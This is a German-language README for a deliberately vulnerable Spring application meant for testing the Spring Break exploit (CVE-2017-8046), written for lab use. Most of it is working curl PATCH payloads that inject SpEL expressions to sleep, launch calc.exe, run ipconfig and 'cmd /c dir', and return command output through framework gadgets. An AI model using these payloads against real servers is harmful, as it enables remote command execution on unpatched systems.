
WARNUNG: Dies ist eine anfällige Anwendung zum Testen des Exploits für die Spring Break-Sicherheitslücke (CVE-2017-8046). Führen Sie es auf eigenes Risiko aus!
Dies ist eine verwundbare Anwendung zum Testen des Exploits für die Spring Break-Sicherheitslücke (CVE-2017-8046).
Diese Anwendung enthält schwerwiegende Sicherheitslücken. Sie verwenden sie auf eigene Gefahr! Es wird empfohlen, eine gesicherte und abgeschottete Umgebung zu verwenden (z. B. eine VM mit einem aktuellen Snapshot und Host-Only-Netzwerk). Laden Sie diese Anwendung nicht auf internetzugängliche Server hoch, da diese kompromittiert werden.
HAFTUNGSAUSSCHLUSS: Ich übernehme keine Verantwortung für die Art und Weise, wie jemand diese Anwendung (SpringBreakVulnerableApp) nutzt. Der einzige Zweck dieser Anwendung ist es, ein Testszenario für den Spring-Break-Exploit zu sein, und sie sollte nicht böswillig verwendet werden. Wenn Ihr Server durch eine Installation von SpringBreakVulnerableApp kompromittiert wird, liegt dies nicht in meiner Verantwortung, sondern in der Verantwortung der Person(en), die sie hochgeladen und installiert haben.
Die Anwendung kann mit dem folgenden Maven-Befehl gestartet werden.
mvn spring-boot:run
Ein Fat-Jar kann mit dem folgenden Maven-Befehl erstellt werden.
mvn clean install spring-boot:repackage
Um Daten einzufügen, können Sie den folgenden curl-Befehl verwenden.
curl -i -X POST -H "Content-Type: application/json" -d '{ "name" : "Test", "attribute" : "foo"}' http://hostname:port/entity
Der wahrscheinlich einfachste Exploit ist die folgende Anfrage.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Thread).sleep(10000).x", "value" : "pwned" }]' "http://hostname:port/entity/1"
Unter Windows kann der calc.exe-Prozess mit der folgenden Anfrage gestartet werden. Ähnliche Anfragen können verwendet werden, um beliebige Befehle auszuführen.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Um die Ausgabe gestarteter Befehle zu erhalten, können einige "Gadgets" des Spring-Framework-Codes verwendet werden. Glücklicherweise sind keine externen Abhängigkeiten erforderlich. Zum Beispiel kann das Ergebnis des ipconfig-Befehls mit der folgenden Anfrage abgerufen werden.
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"ipconfig\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Unter Windows kann ein cmd /c dir-Befehl und andere ähnliche Befehle mit der folgenden Anfrage gestartet werden. Bitte beachten Sie den Trick, der verwendet wird, um das Schrägstrich-Zeichen einzufügen, ohne den expliziten Wert zu verwenden (d.h. explizite Schrägstriche werden vor der eigentlichen Analyse durch Punkte ersetzt).
curl --request PATCH -H "Content-Type: application/json-patch+json" -d '[{ "op" : "replace", "path" : "T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec(\"cmd \" + T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F)) + \"c dir\").getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()).x", "value" : "pwned" }]' "http://hostname:port/entity/1/"
Ein Java-Programm, um diese Sicherheitslücke auszunutzen, finden Sie hier.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE.txt für Details.